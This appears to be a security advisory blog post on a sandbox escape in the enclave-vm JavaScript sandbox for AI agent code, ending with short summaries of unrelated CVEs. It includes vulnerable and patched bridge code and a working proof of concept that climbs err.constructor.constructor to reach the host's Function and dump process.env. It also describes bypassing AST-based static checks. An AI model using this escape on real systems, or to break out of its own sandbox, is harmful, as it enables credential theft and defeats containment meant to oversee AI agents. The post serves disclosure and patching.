Feb 19, 2026·6 min read·74 visits
Host-side errors passed into the sandbox retained their prototype links to the Host Realm. Attackers trigger an error, catch it, and climb `error.constructor.constructor` to access the Host's `Function` constructor, granting full RCE (CVSS 10.0).
A critical sandbox escape vulnerability in `enclave-vm` allows untrusted AI agent code to break out of the JavaScript sandbox and execute arbitrary code on the host machine. By leveraging a cross-realm prototype leak in the error handling mechanism, attackers can traverse the prototype chain from a caught exception up to the host's `Function` constructor, effectively bypassing all security controls.
We live in the age of AI Agents. We give them tools, we give them goals, and because we aren't completely insane, we put them in a box. That box is enclave-vm, a popular JavaScript sandboxing library designed to let you run untrusted LLM-generated code without nuking your production database. Ideally, it's a digital Alcatraz.
But here's the thing about prisons: they are only as secure as the guards who pass food through the slot. In software terms, that slot is the Bridge—the mechanism that allows the sandboxed code to invoke specific, allowed tools on the host (like fetch or readFile).
CVE-2026-22686, affectionately dubbed the "Simpleton's Ladder," isn't a complex buffer overflow or a heap grooming masterpiece. It's a logic flaw in how the guards handle complaints. When the sandbox asks for a tool that doesn't exist, the Host yells "Error!" and hands that Error object directly to the inmate. The problem? That Error object is attached to a long, invisible rope leading right back to the warden's keys.
To understand this bug, you need to understand JavaScript Realms. A Realm is roughly equivalent to a global environment (window in browsers, global in Node.js). The Sandbox is one Realm; the Host is another. Security relies on total isolation between them.
In enclave-vm versions prior to 2.7.0, the developers made a classic mistake: Object Identity Retention. When the sandboxed code called a tool via callTool('bad_tool'), the Host runtime would throw a native JavaScript Error. Instead of serializing this error into a harmless string or a neutral object, the bridge passed the actual Host Error instance into the Sandbox.
Why is this fatal? Because in V8 (and most JS engines), objects carry a reference to their prototype. An Error object created in the Host Realm has a prototype chain that looks like this:
errorInstance (In Sandbox, but references Host memory)errorInstance.constructor -> Error (Host Realm Class)Error.constructor -> Function (Host Realm Function Constructor)By handing the inmate a Host Error object, the developers effectively handed them a pointer to the Host's memory context. The inmate just has to follow the chain home.
Let's look at the vulnerable pattern. The bridge code was trying to be helpful, preserving the stack trace and error message for the developer. This helpfulness is what killed the security model.
Vulnerable Implementation (< 2.7.0):
// Host Side Bridge
async function handleToolCall(toolName, args) {
try {
const tool = tools[toolName];
if (!tool) throw new Error(`Tool ${toolName} not found`); // <--- Host Error created here
return await tool(args);
} catch (err) {
// FATAL FLAW: Passing the raw Error object back to the sandbox
return sandbox.throw(err);
}
}Because err is passed by reference (proxied), the sandbox receives an object where err instanceof Error is true, but crucially, err.constructor is the Host's Error constructor.
Fixed Implementation (v2.7.0):
The fix involves "shredding" the object. You treat the error as toxic waste. You extract the data you need (message, name) and reconstruct a new error inside the sandbox, or serialize it to JSON and back.
// Fixed Host Side Bridge
async function handleToolCall(toolName, args) {
try {
// ... tool logic ...
} catch (err) {
// SAFE: Marshaling the error details only
const safeErrorData = {
message: err.message,
name: err.name,
stack: err.stack // Optional, maybe sanitize this too
};
// Re-create the error INSIDE the sandbox realm, breaking the link
return sandbox.throw(new SandboxError(safeErrorData));
}
}The exploit is laughably simple, hence the name. We don't need shellcode. We just need to ask for a tool that doesn't exist, catch the inevitable error, and climb the prototype ladder to God Mode (the Function constructor).
The Function constructor is dangerous because new Function('return process')() executes code in the scope where the constructor was defined. Since we stole the Host's constructor, we execute in the Host's scope.
Here is the weaponized PoC:
// 1. Trigger the Host to throw an error by calling a fake tool
callTool('make_me_a_sandwich', {}).catch(err => {
// 2. Access the Host's Error Constructor
const hostErrorConstructor = err.constructor;
// 3. Access the Host's Function Constructor (The "God Function")
const hostFunction = hostErrorConstructor.constructor;
// 4. Generate a payload to run on the Host
// This creates a function that returns the 'process' object
const payload = hostFunction('return process.env');
// 5. Execute
const env = payload();
console.log("STOLEN SECRETS:", env);
});This bypasses ast-guard (static analysis) because purely looking at the AST, err.constructor.constructor just looks like property access. It doesn't look like eval() or require(), but it is functionally identical.
This is a CVSS 10.0 for a reason. It is the cybersecurity equivalent of a nuclear detonation inside your server room. If you are running enclave-vm to host third-party AI agents, plugins, or user scripts, you are effectively running them as root (or whatever user the Node process owns).
Impact Blast Radius:
process.env to steal AWS keys, database credentials, and API tokens.fs module (via process.mainModule.require('fs')), they can read source code, /etc/passwd, or write backdoors to disk.Because this is a logic flaw in the bridge, no amount of memory safety or ASLR will save you.
The mitigation strategy is simple: Trust No Object.
The patch in version 2.7.0 introduces a rigorous serialization boundary. Instead of passing objects, the bridge now effectively passes JSON strings (or structurally cloned data) which creates a "air gap" for references. When the data is reconstituted on the other side, it has a new prototype chain native to that realm.
npm install enclave-vm@latest. Version 2.7.0 is the minimum safe version.vm2 or isolated-vm), check if you are passing complex objects or Errors back and forth. Always serialize primitive data types (string, number, boolean, null).--frozen-intrinsics or use tools that freeze Object.prototype to make prototype climbing harder (though this breaks many legit libraries).CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
enclave-vm agentfront | < 2.7.0 | 2.7.0 |
| Attribute | Detail |
|---|---|
| CVSS Score | 10.0 (Critical) |
| CWE ID | CWE-94 & CWE-693 |
| Attack Vector | Network (Sandbox Escape) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | Active / Simple PoC |
| EPSS Score | 0.00147 |
Improper Control of Generation of Code ('Code Injection')
A property shadowing vulnerability exists in protobufjs where schema-derived names can collide with and overwrite runtime-critical internal helper properties. This issue leads to uncaught runtime exceptions and crash-based Denial of Service.
An integer truncation vulnerability (CWE-197) exists in SQLite before version 3.50.2 during the processing of aggregate queries with more than 32,767 distinct column references. This causes an internal 32-bit counter to truncate to a signed 16-bit integer, producing negative values that cause out-of-bounds heap operations in release builds.
An integer overflow vulnerability in the Windows kernel-mode HTTP driver (HTTP.sys) allows an unauthenticated remote attacker to execute arbitrary code with kernel privileges or cause a Denial of Service via a specially crafted sequence of HTTP request headers.
A memory corruption vulnerability exists in the FTS5 (Full-Text Search 5) extension of SQLite prior to version 3.53.2. An attacker can construct a malicious database file containing corrupt FTS5 page data. Querying this database triggers out-of-bounds reads and heap-based buffer overflows, potentially causing a crash or arbitrary code execution.
A mass assignment vulnerability (CWE-915) in n8n's self-service settings API endpoint (PATCH /me/settings) allows authenticated Single Sign-On (SSO) users to disable SSO enforcement for their accounts by injecting administrative parameters. This bypasses organizational identity provider controls and multi-factor authentication (MFA).
CVE-2026-55699 (also identified as GHSA-4gxm-v5v7-fqc4) is a critical path traversal and arbitrary directory deletion vulnerability in the pnpm package manager. The issue exists because the manifest validation process fails to prevent relative path segments within the package 'bin' keys. When a malicious package containing structured path traversal markers is globally installed and later manipulated, pnpm resolves the target paths through path.join() and passes the resolved paths to a recursive deletion function, resulting in arbitrary directory removal.